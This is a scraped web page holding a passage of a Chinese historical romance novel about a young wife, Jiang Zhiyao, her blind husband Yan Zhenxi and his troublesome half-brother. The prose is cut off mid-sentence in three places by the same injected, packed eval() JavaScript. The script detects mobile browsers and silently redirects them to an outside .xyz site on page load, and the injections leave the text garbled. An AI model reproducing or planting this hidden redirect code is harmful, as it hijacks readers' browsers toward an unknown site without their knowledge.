每次跟在纪婉清身后就像一只被主人牵住的大狗一样。 不过这种话程明珠也只敢在私下说说了，就算三皇子再不受圣上宠爱，但好歹也是皇子，要是被有心人听见，怕是要给她扣上一顶蔑视天家的大帽子。 姜知瑶倒是没觉得程明珠说的有什么问题，纪姐姐这么好，三皇子听姐姐话也是正常的。 “瑶瑶，我们回去吧。”程明珠说道。 “不了，今天你先回去吧。”姜知瑶摇了摇头。 晏赐应身体已经好了大半，最近还经常带着那些朋友进出晏府，现在是用晚膳的时候，姜知瑶怕和他撞上。 但她没有告诉程明珠，省的她担心，姜知瑶随便找了个借口：“我还想在这里再听会说书。” 刚好说书先生正讲到精彩的部分。 “好吧。”程明珠点点头，没有怀疑什么，因为姜知瑶一直很喜欢听说书，之前也有要留下来再听一下的时候。 程明珠又叹了口气：“唉，我也想留下来，才不想回去。”但她母亲最近管的有点严，让她早点回去。 “没事没事。”姜知瑶知道这个，“早点回去也好。” 程明珠语气中有些羡慕：“这么看来成婚也挺好的啊，没有人管着。” 姜知瑶顿住几秒，随后笑了笑：“是挺好的。” 说完后姜知瑶垂眸，自从娘亲去世后，就没有人管着她了。 程明珠离开后，姜知瑶有点乏味地听着说书，今天的内容和她上次听到的大差不差。 姜知瑶低头用手指轻划着滴落在桌上的茶水，想着再待小半个时辰就回去。 不知道今天回去有什么好吃的。 “夫人？”头顶上传来了一道些许疑惑的好听声音。 姜知瑶霍然抬头望去，是晏枕溪。 “夫君？”姜知瑶话里带着些许她自己都未察觉到的惊喜。 晏枕溪眼纱下的薄唇微微勾起：“刚刚阿文跟我说夫人在这，我还以为他看错了呢，怎么还没回去？” 阿文是今天跟在他身边的小厮。 “要一起回去么？”晏枕溪对着姜知瑶问道。 “好呀。”姜知瑶站了起来，走到了晏枕溪身旁。 - 姜知瑶坐上了晏枕溪的马车一起回晏府，在马车刚刚行驶一会后。 “嗷。”车厢颠簸了一下，姜知瑶没有防备，原本就靠近车窗的脑袋直接撞了上去。 “没事吧？”晏枕溪带着点急切的询问声在马车里响起。 姜知瑶被磕的一时懵住了，没有回应他的话。 驾驶马车的下人连忙道歉，有些战战兢兢地说道：“对、不起对不起，公子夫人，这段路不知道为什么地上多了些小石子，天黑没有注意到。” “没事没事。”听到下人有些害怕的语气姜知瑶连忙安抚道。 下人的语气听起来安定了一些：“多谢夫人，后面还有点小石子，小的会多注意的。” 没有再说话了，车厢里又安静下来。 但不知为何，姜知瑶突然觉得里面安静的让人心慌。 她刚刚是不是忘记了什么？ 姜知瑶看了一眼晏枕溪，只见他面无表情。 和以往不论怎样都带点微笑的表情比起来，好像嘴角下降了一点弧度？ 姜知瑶这才突然想起来，刚刚好像晏枕溪说了什么话，但是她没有听清。 姜知瑶手指无意识地抓紧了坐垫，要不要问他？现在问是不是有点晚了？ “夫人，不严重吧？”姜知瑶还在纠结的时候，晏枕溪缓声开口问道。 “没有，不严重的。”姜知瑶立马回答道。 不问还好，一问姜知瑶突然感觉被撞到的地方又隐隐作痛起来，刚刚她撞到的是窗框的那个角上，撞的实在不轻。 回答完晏枕溪后，仗着他现在也看不见，姜知瑶抬手轻轻揉了揉额头。 呜，真的有点痛了。 刚刚快消失的生理性泪水又涌出了一些。 晏枕溪轻轻叹了口气：“你过来些。” 嗯？姜知瑶向晏枕溪看去。 “我帮你看看，刚刚肯定撞的不清，我都听到响声了。”晏枕溪轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901191|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声说道。 “噢噢好的。” 这个马车里的位置本就不大，姜知瑶稍稍往晏枕溪那边靠了些，等大腿微微贴到，姜知瑶就僵住不动了。 好、好近。 察觉到姜知瑶的靠近，晏枕溪扶住姜知瑶的身体，让她的头半侧仰躺在自己的大腿上。 因为被磕到的地方在左侧的额头上，姜知瑶现在入目的就是晏枕溪的上半身和脸。 就算是这个角度看，晏枕溪怎么还是这么好看啊。 “是这里吗？”晏枕溪轻轻碰了碰姜知瑶被磕到的地方。 小骗子，都肿起来了。 “是的。”姜知瑶声若蚊蝇。 怎么办，自己现在的脸肯定很烫。 姜知瑶的脑袋在晏枕溪的大腿上，感受到男人富有力量感的大腿肌肉，她的脸更烫了。 姜知瑶开始不着边际地想，自己不会烫的烧起来吧？ 晏枕溪屈指在车壁上敲了两下，弹出来一个小匣子，晏枕溪从里面取出一个小药瓶。 接着帮姜知瑶敷起药来。 “痛的话就告诉我说。”晏枕溪低头对姜知瑶说道。 “好。”但其实姜知瑶根本没听清晏枕溪说了什么，光顾着盯晏枕溪看了。 敷完药后，晏枕溪轻轻帮姜知瑶按了起来。 好犯规啊，这样的晏公子。 姜知瑶看着晏枕溪脖子上面自己没有的喉结，有点好奇。 戳一戳会怎么样？ 视线再往上些，姜知瑶看到了晏枕溪红润的薄唇，要是亲起来，不知道会是什么感觉。 意识到自己在想什么，姜知瑶脸上原本冷却的羞意又卷土重来，且来势汹汹。 不行，真是最近看话本子看多了。 姜知瑶立马移开自己看向晏枕溪的目光，因为这个动作也使得晏枕溪的手指微微错开了那处伤口。 “那个，我觉得好多了，谢谢，你歇一会吧。”姜知瑶喉咙有些干涩，连忙坐了起来。 “好。”晏枕溪收回了顿住半空中的手。 姜知瑶现在根本不敢往晏枕溪那边看，现在额头那处已经没那么疼了，明明是微凉的药膏敷在上面，但姜知瑶只觉得被晏枕溪碰过的地方在发热。 姜知瑶感觉自己整个人都要被烤熟了。 “公子夫人，到了。”这时随着车外传来的这句话，马车停了下来。 姜知瑶如听天籁，立马起身先下了马车。 回院子的路上一直很安静，晏枕溪没有说话，姜知瑶也没有主动开口聊什么。 走到了姜知瑶的房间，姜知瑶一和晏枕溪告别完，就转身想回到自己的房间里。 “等等。”晏枕溪叫住了姜知瑶，“给你，记得敷。” 宽大的手掌里是刚刚从马车里带下来，在手心攥了一路的小药瓶。 看着晏枕溪掌心的药瓶，姜知瑶的心像是被泡进了柠檬蜂蜜水里面一样。 “谢谢。”姜知瑶接了过去，看起来很正常地回到了房间里。 一关上门后，姜知瑶忍不住带在原地紧闭上双眼，唾弃起自己刚刚在马车上的想法。 要怎么办，真的越来越喜欢他了。 平时没接触还好点，一接触后，心里的想法便如洪水泄闸般涌出。 姜知瑶睁开眼，长而细密的睫毛止不住地轻颤着。 晏枕溪明明只是好意而已，要是让他知道自己刚刚的想法，肯定会很讨厌自己。 脸上的热意退去，姜知瑶咬住了下唇瓣，还是尽量少和晏枕溪接触吧。 不然她真的要忍不住了。 11. 吵闹 月朗星稀的夜晚，晏枕溪的书房还摇曳着烛光。 是不喜欢自己接触么？ 晏枕溪皱眉看着自己的手指，指腹上仿佛还留有刚刚她细腻皮肤的触感。 骨节分明的几根手指相互摩挲了几下，像是想把上面烧灼般的感觉抹去。 明明说好不要再关注她了的。 但在茶楼上，看到她一个人可怜兮兮地坐在那里，晏枕溪神差鬼使地就走到了她面前。 听见她有些雀跃的声音，自己莫名愉悦了起来。 在马车上，听见她呼痛的声音，心也仿佛突然被揪起。 看见她躲避自己按压的动作，晏枕溪眼纱下原本专注的双眼微微眯起。 为何心里会不满足。 是因为脱离了自己的掌控吗？ 肯定是。 晏枕溪的视线重新回到手里的情报，把心里的念头都压了下去。 相隔不远处的卧房。 姜知瑶呜咽了一声，把滚烫的脸埋进被子里。 果然晚上就是爱胡思乱想，今天马车里的接触不断在姜知瑶脑海里回想。 甚至姜知瑶还想出了其他有些暧昧的联想。 怎么会这样啊。 明明之前都还好好的。 姜知瑶一闭上眼，就会想起自己躺着他腿上看到的场景。 白皙修长的脖颈上轻轻滚动的喉结，殷红的薄唇有的时候微微张开，可以窥见里面的一点暗红，不知道向来高贵清冷的公子舌头会是粉红的吗…… 呜，姜知瑶连忙截住了自己的想法，更加用力把脸蛋埋进了枕头了。 怎么办，感觉自己真的好像一个变态啊。 - 早上起床，姜知瑶的眼底有些许乌青，她迷迷糊糊地打了一个哈欠。 “小姐，你昨晚没睡好吗？”南枝有些疑惑的看着姜知瑶，“今晚要不要点些助眠的香？” “啊，好啊。”姜知瑶还未完全清醒，有些混沌的脑袋转了好几秒才想明白南枝说的话。 想起昨晚，姜知瑶懊恼地皱起小脸，她一直到天边微微泛青色的时候，才终于沉沉睡去。 姜知瑶其实有些嗜睡，每天都要睡上四五个时辰，不然一天都会有些恹恹的。 今晚一定早点上床睡觉。 夜晚，姜知瑶提前了半个时辰熄灯。 把自己洗得香喷喷，盖上被子，闻着空气中助眠的香味，姜知瑶想，今天肯定会有个好睡眠。 就当姜知瑶马上要去见周公的时候，外面突然吵闹起来。 姜知瑶狠狠皱起眉头，这是在干什么。 她没有睁眼，往下滑了一些，整个人陷进被子里，伸手用被子的两边捂住耳朵。 但外面的吵闹声却丝毫没有要停止的意味，反而声音越来越大。 姜知瑶辗转反侧了十多分钟，终于忍不住，睁眼掀开被子坐了起来，哪怕是性格再温和的人，现在也会不满。 她披上外衣和鞋子，推开门走了出去。 “小姐？”南枝这时也刚好走了过来，“是不是吵到小姐了。” 南枝的语气里满是愤愤不平：“是二公子，大晚上在我们院子外听曲玩闹。” 晏赐应这边。 “赐应。”旁边的友人有些不安地看了眼晏赐应，“我们这样真的没事吗？” 今天晏赐应又请他的那些友人来府上了。 但与前几次不同的事，晚上喝了些酒，晏赐应就突然和他们说，要来晏枕溪这边的院子外玩。 晏枕溪是晏府的嫡长子，被分到的院子自然是最好的，院子外就是晏府上最大的一个花园。 晏赐应和他的友人之前再怎么闹，都不会到这边来。 但现在，晏赐应眯起眼睛，不久前下肚的那些酒精驱散了原本心里对晏枕溪还有些发怵的情绪。 晏赐应打了个酒嗝：“怕、怕什么，他已经瞎了，这晏府早晚都是我的，我想去、去哪就去哪！” 他旁边的友人们也笑了起来。 原本也有些害怕的情绪也消失了，之前每次和晏赐应惹到他面前的时候，晏赐应都会看起来很是温和地应对，但过后他们就被家中的长辈狠狠责备，几次过后他们再也不敢惹晏枕溪了。 而且每次面对晏枕溪，虽然他脸上带着微笑，但他们就是有些内心发毛。 就连晏赐应在长大后也很久没有在明面上惹晏枕溪了。 但如今，是啊，他晏枕溪如今只是一个废人而已，又不是之前高高在上的贵公子了。 一朝失势不还是要任人欺凌，整个京城都是这样的捧高踩低，就算他们今晚在他院外吵闹整晚又能怎样。 相互对视了几眼，大家都放肆地笑了起来，命令一旁奏曲的人声音再大点。 他们也看晏枕溪不爽很久了。 听着外面越来越大的声音，姜知瑶伸手捏了捏眉心：“夫君那边有什么反应吗？” 南枝摇了摇头：“姑爷那边好像已经睡下了。” 院子里其他房间的灯也都熄了。 “算了。”姜知瑶拿出了话本，对着南枝稍微扬了扬，“南枝，要一起看吗？” 对于晏赐应的行为，姜知瑶虽然生气，但其实也无可奈何，看这些天晏赐应的做派，就知道他如今在晏府有多得意潇洒了。 横竖也睡不着，不如就趁着现在还有乐曲，把剩下的话本看了去。 大不了明天晚点起就是了，反正又不用去给主院请安。 “好啊好啊。”南枝连忙点点头，快步走过去坐到了姜知瑶一旁的塌上，又可以和小姐一起熬夜看话本了嘿嘿。 大约过了一个时辰，晏赐应那些人好像也累了，吵闹声渐渐消失。 话本早已看完，姜知瑶正和南枝下着棋。 “哈。”姜知瑶实在没忍住，打了个哈欠，眼里泛起些泪花，“我们现在睡吧。” 说完就往塌上倒了下去，嘴里还含糊地和南枝说：“明早晚点起……” 声音越来越小，说完最后一个字后，像是直接睡着了。 南枝给姜知瑶盖上了被子，吹灭了烛火，随后退出房间，轻轻地关上了门。 卧房里陷入黑暗。 - 晏枕溪昨天晚上并不在晏府，去了其他地方做了些安排，清晨才沾染了些露水匆匆回来。 回来后，晏枕溪就从留在晏府的暗卫那里知道了昨晚发生的事情。 “为什么不来找我？”晏枕溪冷声说道。 暗卫立马垂下头回应：“大人，是您之前说……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901192|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是了，他竟然一时忘记了，是他之前说过的，无论晏赐应有什么过分的行为都不用制止。 但是，晏枕溪忽然开口问道：“姜知瑶那边有找过我吗？” “没有，大人。”暗卫毕恭毕敬地回答道。 “知道了，你下去吧。”语气比之前更冷了。 暗卫边退下边有些不解，大人不是一向不喜有人来烦他吗？姜小姐没来找，不应该觉得省事吗，怎么感觉问完听到答案后反而更不悦了。 几天后，纪婉清的闺房里。 “诶？你们怎么都知道了啊？”姜知瑶很是惊讶。 晏赐应那晚在晏枕溪院外吵闹过后，不知道他是怎么想的，后面竟一连好几天都在院外闹，姜知瑶有些不解，他自己不累吗，而且这种行为真是又无聊又幼稚。 “这事都在京城里传开了。”程明珠摇头说道，“这个晏赐应还真是蠢。” 虽然晏枕溪现在已经眼瞎，但也不看看他是为什么眼瞎的，人家明面上还是圣上的恩人呢。 若是晏赐应在暗地里欺负晏枕溪还没什么，但他带过去的那些友人就有十多人，再加上各自带过去的仆从，这件事怎么可能不外传。 如今竟然闹到整个京城都知道了。 往小了说是兄弟不和，往大了说，就是晏赐应看不起圣上的恩人。 再加上之前晏枕溪的名声很好，如今这事一出，许多人都很是不满。 “还有啊，瑶瑶。”程明珠眯起了眼睛，“不是说没被欺负吗。” 一旁喝茶的纪婉清放下茶杯，也注视着姜知瑶。 姜知瑶感到了莫名的压力：“这，这也不是什么大事，也不算欺负吧。” 程明珠点了点姜知瑶眼底的乌青：“就知道你不会说。” “我今天已经派人把那晏赐应打了一顿了。”程明珠颇有些得意地拍了拍手。 “啊？”姜知瑶瞪圆了些眼睛，“这不要紧吧？” “哼，要什么紧，晏赐应整个京城得罪的人多了去了，而且我让派去的人找个借口光明正大地把他打了一顿，放心。” “虽然没打骨折，但也是会让他痛上几天的。”听起来还有点遗憾。 “谢、谢谢。”姜知瑶的脸被程明珠捏起，有些含糊地道谢着。 “不许谢。”程明珠有点凶地说道，手下的力气微微加重。 “好了。”纪婉清打掉了程明珠的手，随后抬手轻轻揉了揉姜知瑶被捏的有些泛红的脸颊肉。 “我下午带枣泥山药糕还有南枝做的糕点来，还有绣的两个团扇。”姜知瑶说道。 她其实早就绣好了团扇，马上到盛夏了，想着这个也比较实用，平日里也没什么事，十多天前就她开始绣了，今天刚好绣完，本来说上午就带过来的，但许是因为最近没睡好有些不记事，忘记了。 “好啊好啊。”程明珠笑着说，“瑶瑶绣的最好看了。” 姜知瑶的绣工很好，针线很细密，一点都不输那些绣楼里买的。 纪婉清和程明珠得到过许多姜知瑶的绣品，什么荷包，扇子，衣服等等。 “多谢瑶瑶，辛苦了。”纪婉清轻笑着拍了拍姜知瑶的头。 “没有没有。”每次看到她们喜欢自己做的东西，姜知瑶心里都会很满足愉悦。 12. 扇子 正午，晏枕溪从院外进来，在走到姜知瑶的房间附近时，听见了一阵银铃般笑声。 是姜知瑶，何事笑得如此开心？ 见晏枕溪脚步停顿，旁边的下人上前说道：“夫人在小厨房做糕点。” “知道了。”晏枕溪继续往书房走去，像是毫不关心的样子。 回到书房，晏枕溪想，这次就尝尝好了。 好像是什么山药糕？ 小厨房里，姜知瑶正笑着南枝：“哈哈哈哈南枝，你变成小花猫了。” 午膳用过后，姜知瑶就和南枝来到了小厨房，想着下午带糕点去纪婉清那。 姜知瑶在一旁看着认真揉面的南枝，突然起了些坏心思，她沾了些面粉，往南枝两边的脸颊上都画上了三道。 南枝有些懵，手还在揉着面，脸抬起来无辜地看着姜知瑶。 看着南枝的样子，姜知瑶哈哈笑了起来。 “好啊，小姐。”南枝反应过来后，趁着姜知瑶还在笑，也往她的脸上抹了些上去。 “哈哈哈好南枝，饶了我吧。”姜知瑶在小厨房里到处躲着南枝。 几分钟后，两个人的脸上都粘上了许多面粉。 相互对视一眼，好不容易停下的笑意又涌上来，两个人哈哈大笑起来。 做好后，姜知瑶就迫不及待地带上糕点和团扇去尚书府了。 等到纪婉清的闺房时，程明珠已经在了。 小桌上已经摆了好几样小吃，分别是纪婉清和程明珠带的。 南枝上前，把刚刚做好的糕点也摆了上去。 程明珠看着上面丰盛的吃食，笑道：“今天下午可是有嘴福了。” 姜知瑶把两个团扇拿了出来，方别给了纪婉清和程明珠，两个团扇上刺绣的图案和颜色完全不一样，都是按照她们各自的喜好绣的。 送给纪婉清的上面绣着清雅的兰花，程明珠的上面则是大朵的芍药。 纪婉清接了过来：“瑶瑶真是心灵手巧。” “多谢姜小姐送来的夏日清凉。”程明珠拿在手里扇了几下，先是假装正经地说道，然后用扇子轻轻抵上了姜知瑶的双唇，一副轻佻明媚的模样。 姜知瑶红了脸：“明珠……” 说会话聊聊天看看书，一下午很快就过去了。 回到晏府，夜晚，姜知瑶看着手里的折扇，迟疑着要不要送出去。 “送啊小姐。”南枝进来送茶看到了姜知瑶犹豫不决的样子，自然猜到了她的心思，“都已经做好了。” “但是。”姜知瑶心里在打鼓，“万一他觉得我绣的不好看……” 其实这个折扇姜知瑶并没有绣得很复杂，当时在绣完给纪婉清和程明珠的团扇后，见旁边还有一个折扇，姜知瑶就拿起来随手绣了起来。 但不知道为何，姜知瑶就突然想着在上面绣起了竹子，没有提前选好绣的图案，位置什么也是她随手选的，这个折扇很快就绣好了，用在上面的时候甚至比不上绣团扇时的三分之一，但绣完后，她就是莫名觉得很适合晏枕溪。 “怎么会，这绣的可好看了。”南枝左看看右看看，觉得非常完美，一看上去就很适合姑爷。 “算了。”姜知瑶咬咬唇说道，“要送的话我还是重新绣一个吧。” “哎呀小姐。”南枝劝道，“这可好看了，是小姐的一片心意，姑爷不会不喜欢的。” 见姜知瑶还是有些犹豫，南枝推着她出了房门，对着姜知瑶眨了眨眼睛：“去吧小姐。” 姜知瑶其实心里还是想送出去的，出门后她握住手中的扇子：“那我去了？” 南枝在门缝里使劲点头，姜知瑶迟疑片刻还是去往了晏枕溪的书房。 在书房外站了一会后，姜知瑶踌躇后又迈开步子准备离开，折扇下的流苏随着动作轻抚过她的手腕，姜知瑶想了想，还是转身抬手敲了敲门。 “进来吧。”是晏枕溪一贯温和的嗓音。 晏枕溪在姜知瑶刚刚到门口的时候就知道了。 门外隐隐约约的身姿，一看就是姜知瑶，为何她不进来？ 是因为上次自己在书房态度不好，这次害怕了吗？ 晏枕溪开始认真反思起来，下次不可以对她说重话了。 在椅子上端坐了一会后，见姜知瑶的动作，竟像是要离开，晏枕溪顿时从椅子上站了起来，想装作自己刚好要出门。 但姜知瑶下一秒又敲门了。 晏枕溪坐下，竟微微松了一口气，随后让自己的语气和往常一样温和地开口。 姜知瑶看着在书桌旁坐着正拿着什么的晏枕溪，有些犹豫地开口：“你现在在忙吗？” “没有。”晏枕溪语速有些快的回答，随后意识到什么，缓了几秒开口，“……有什么事吗？” 语气放的格外轻柔。 姜知瑶听到后有些疑惑抬眼看了看晏枕溪，他生病了吗？但看着气色还是挺红润的啊。 感受到手里折扇的触感，姜知瑶想起来了这次来的目的，来都来了。 “夫君，我绣了一个折扇给你。”姜知瑶把折扇递到了晏枕溪手边。 “多谢夫人。”晏枕溪笑道，随即展开折扇，用手抚摸起了上面的图案。 眼纱下的双眼也随着手指的动作仔细看着，左边是青翠挺拔的竹子，摸起来针脚细密，微微凸起。 右边是一片留白，间或一两片竹叶。 “多谢夫人。”晏枕溪再一次道谢，“我可以在上面写句诗吗？” 姜知瑶点点头：“当然。” 晏枕溪拿起一旁的毛笔，在扇面上空白的地方写了起来。 “露涤铅粉节，风摇青玉枝。”字迹遒劲，纵逸俊秀。 姜知瑶在心里感叹到，不亏是晏公子啊，哪怕眼睛看不见了，字也还是写这么好看。 姜知瑶记得他之前在宴会上也经常作诗词歌赋，每次他身旁都围了一群世家贵族的公子小姐，姜知瑶向来只能观望看着那群人的背影，等到晏枕溪作完，侍从拿着纸张在宴席上流传的时候，姜知瑶才得以瞥见一眼。 但在她旁边停留的时间都很短，随后又被那些公子小姐拿去观赏。 姜知瑶只得端坐在位置上，远远看着他们拿起时纸张苍白的背面。 这还是她第一次近距离看到晏枕溪写字，而且这里的观众只有她一人。 晏枕溪写完后，姜知瑶一时有些怔忡。 “还可以吗？夫人觉得和你的刺绣相配否？”晏枕溪问道。 姜知瑶听到晏枕溪的询问后回过神来，但倏地发现脑中那些夸赞的词她竟一个都想不起来了，过了好几秒她才干巴巴地说道：“很好看。” 她看着扇面，只觉得和那俊逸脱俗的字相比，自己在旁边的刺绣简直黯淡无光。 晏枕溪轻笑了一声：“能和夫人的刺绣相配，是晏某 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901193|176640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的福气。” 还没等姜知瑶回应什么，晏枕溪状若无意地问：“夫人今天中午做了糕点？” “啊，是的。”姜知瑶没想到他这么突然问这个，老实地回答道，“我下午带去给了纪姐姐她们。” 至于晏枕溪，姜知瑶根本没有想过要给他，毕竟之前的事让姜知瑶觉得他应该不喜欢吃糕点。 还没等晏枕溪说什么，院子里突然传来一阵吵闹，紧接着，书房的门就被人气冲冲地打开，门扇撞到墙上发出不小的响声。 是晏赐应，他现在正鼻青脸肿的，他怒目看着晏枕溪，用手指着他：“都怪你！” “二公子这是什么意思？”姜知瑶微皱起眉，侧身挡在晏枕溪面前。 晏赐应上前一把推开姜知瑶，语气不悦：“这里没你的事！” 晏枕溪看到后下意识就想去扶，但感受到眼上的薄纱，硬生生制止了要挪动的脚步。 他握紧了手，语气异常冰冷，带着愠怒：“你对你的大嫂什么态度？！” 看来那件事今天就可以提出来了，原本晏枕溪是打算再过段时间，等晏赐应或者顾兰茹再做出什么无法挽回的蠢事之后再顺势提出。 但不知为何，看着姜知瑶被无视和欺负，晏枕溪便觉得一阵不悦。 他如今想提前就提前了，还要挑日子吗。 晏赐应还是第一次听到他这么生气的声音，有些害怕地缩了下脖子，但下一秒又想起自己脸上的伤，语气更大的吼道：“要你管！你算我什么大哥？” - 今天一大早，晏赐应躺在床上，昨天在晏枕溪的院外闹得太晚，所以现在已经日上三竿了，晏赐应还在睡。 结果被一桶水给泼醒了。 晏赐应猛地睁眼：“是谁？不要命了吗！” “是你老子！”晏照气愤地说道。 “爹？”晏赐应冷静了下来，“您这是干什么？” “你还有脸问我？！”晏照明显正在气头上，“你做的好事整个京城都知道了。” “今天上朝的时候，我还被那杨老家伙讽刺，说我教出了这么一个好儿子！” “蠢货！大蠢货！”晏照怒气填胸，“让人在圣上面前狠狠参了我一次。” “什么事啊。”晏赐应还是蒙头转向，他最近没在外面闹出什么事啊。 “你去打扰谁不好？你去烦晏枕溪？”见晏赐应那呆头呆脑的样子，晏照更是火冒三丈。 晏赐应听到后还是满不在乎：“那怎么了，晏枕溪不是已经是废人了吗？” 晏照见他一脸无所谓的样子，越发生气，胸膛剧烈起伏着，拿起旁边的一个茶盏就往晏赐应身上扔了过去。 晏赐应连忙躲过，不可置信的看着晏照：“爹？！” “老爷！”顾兰茹这个时候也赶了过来，连忙护住晏赐应，“有什么话好好说，别打孩子啊。” 晏照看着前面抱怨自己的两人，恨铁不成钢地闭上了眼睛，然后再睁眼怒道：“简直是两个蠢货！” “你怎么可以骂娘？！”晏赐应梗着脖子对晏照说道。 见状晏照实在忍不住，抬手狠狠往晏赐应脸上甩了一个巴掌。 晏赐应捂住脸，更加难以置信地看着晏照，然后推开人跑了出去。 “晏赐应！你敢出去闯祸就别再回来了！”晏照大声怒斥道。 “赐应！”顾兰茹立马追了出去。 13. 分府 晏照跌坐在了一旁的椅子上，抬手揉起了自己的眉心。 晏赐应近来越发肆意嚣张，觉得晏府将来肯定会交由自己来掌管。 晏照确实在晏赐应刚出生的时候就这样打算了。 至于晏枕溪？那不过是他当时听从父亲的安排娶的一个女子生下来的孩子，怎能和顾兰茹生下来的相提并论。 是嫡长子又怎样，他晏照是晏家的家主，他想让谁掌管晏府谁就可以掌管。 所以小时候晏枕溪受到的所有欺负，都是他默许的，他也从来没有想过培养晏枕溪，连学堂和老师他都只给晏赐应一个人安排。 但他没想到，晏枕溪竟从小就那样心机深沉，那次在宴会上扯下顾兰茹和善继母的假面具后，为了保全晏府的名声，晏照不得不给晏枕溪明面上作为晏家嫡长子的待遇。 更令他意外的是，晏枕溪竟就那样天资聪颖，竟让他都有些心生嫉妒，父亲嫉妒自己的儿子，怕是说出去旁人都不会相信。 可晏照就是嫉妒，因为他小时候经常被父亲恨铁不成钢的骂，说他没有其他世家的那些儿子聪慧，说要不是因为他是自己的独子，这辈子连晏家家主的椅子都摸不着。 他甚至是在娶了晏枕溪的亲生母亲后，用联姻才坐稳了晏家家主的位置。 所以晏照很厌恶晏枕溪，不仅是因为他是自己被迫联姻的产物，更是因为他有让晏照无比嫉妒的聪慧。 晏枕溪一点都不像自己，反而更像他那个同样聪慧但早逝的母亲。 晏枕溪越长大，他的能力就越展露出来，甚至到了后面，晏家的长老来议事时，居然都只找晏枕溪，俨然是一副不在意他晏照的态度。 越到后面，晏照这个家主越被架空，晏照越发不满，但是有一天，晏枕溪的眼睛瞎了。 晏照知道后第一反应竟是开心，以为这样晏家所有的势力又可以被自己重新掌握了。 但结果是，就算晏枕溪成了废人，晏家的绝大部分势力还是在晏枕溪手里，旁人不清楚，但他还不清楚吗？ 时间越久，他越明白，晏枕溪的深不可测，那样缜密的心思和布局，真的是常人可以做到的吗？晏照甚至有的时候都怀疑，眼瞎是不是也只是他计划的一部分。 反观晏赐应，这些年来，被他和顾兰茹宠的，越发不知天高地厚，这次闹大，肯定也有晏枕溪的手笔。 晏照从椅子上站起来，叹了口气，希望这次过后，晏赐应不要再去找晏枕溪麻烦了，若是真的惹晏枕溪生气了，怕是会被吃的连骨头都不剩。 - 晏赐应气冲冲地跑出府，跑得很快，没有一个人追的到他。 长这么大，这还是父亲第一次打他，也是他第一次见父亲对他这么凶。 晏赐应不理解，不就是去烦了晏枕溪几天吗，要什么紧。 一个人站在大街上，脸上还火辣辣的疼，晏赐应更觉委屈，根本不想回晏府。 他转身往花楼走去。 门口迎客的老鸨一见到他，就笑眯眯地迎了上去：“呀，公子今天是来找谁啊？” “晓晓。”这是晏赐应近来最喜欢的一个姑娘。 “诶呦。”老鸨拍腿说道，“这可不巧了，今天晓晓整天都被人包下了。” “谁？！”晏赐应立马生气起来，一般他喜欢上的姑娘，都没人敢点，今天是谁？ 本来心情就不好的晏赐应越发恼怒，不顾老鸨的阻拦就上了楼。 来到晓晓的房间门口喊到：“你们给我出来！” 没一会门就开了，开门的男子看上去是一个凶神恶煞的人，满脸横肉地问道：“你是什么人？来打扰我？” “是你今天包了晓晓？”晏赐应不满地说道，“滚出来，现在晓晓是我的了。” 男子嗤笑了一声：“你谁啊？” “我可是晏赐应。”晏赐应仰起头回应道。 一般人谁敢和晏家作对？听到他的名字就快屁滚尿流地离开。 谁知男子不耐烦地说：“不知道没听过，滚开。” 说完就要把门关起来，晏赐应一下子急眼了，他其实也没多喜欢晓晓，只是没想到竟然有人不让着他。 见晏赐应还来阻挠，男子彻底生气了，和晏赐应打了起来。 晏赐应哪里会是男子的对手，没一会就被打的鼻青脸肿。 “诶！”一旁的老鸨着急了，“别打啊。” 突然，晏赐应被打倒下去的时候磕到了一旁的栏杆，一下子晕了过去。 人群开始混乱起来，男子趁乱离开了。 男子正是程明珠派来的，知道晏赐应最近天天都会来找晓晓，便特意今天包下了晓晓，坐在房间里喝茶等着晏赐应来。 因为程明珠吩咐尽量要光明正大找个理由打他，晏赐应去的最多的地方就是花楼，所以就打算在花楼里把晏赐应打一顿，反正大打出手的嫖客在花楼里也不是什么罕见的事。 男子一开始还觉得有些为难，怕晏赐应不太好激怒，谁知这晏家二公子真的和传的一样没脑子。 至于刚刚磕晕的那一下，之前吩咐过不用打太重，男子打的时候没有出太大的力，磕到的不重，过几个时辰肯定会醒。 男子撕掉了脸上的伪装，哼着小调，心情很好的走出了花楼后面的小巷。 直到晚上，晏赐应才悠悠转醒，他还在花楼里。 老鸨知道他的身份，不敢怠慢，赶忙请了医师，还把他安排在了一个单独的房间里。 晏赐应醒来后，感受到脸上的刺痛，伸手摸了下：“嘶。” 要不是今天没带随从，怎么可能会这样。 都怪晏枕溪，晏赐应气愤地想，要是没有他，今早父亲就不会对他生气，自己更不会出来被人打成现在这个样子。 越想越气，晏赐应从床上起来离开花楼，大步往晏府方向走去。 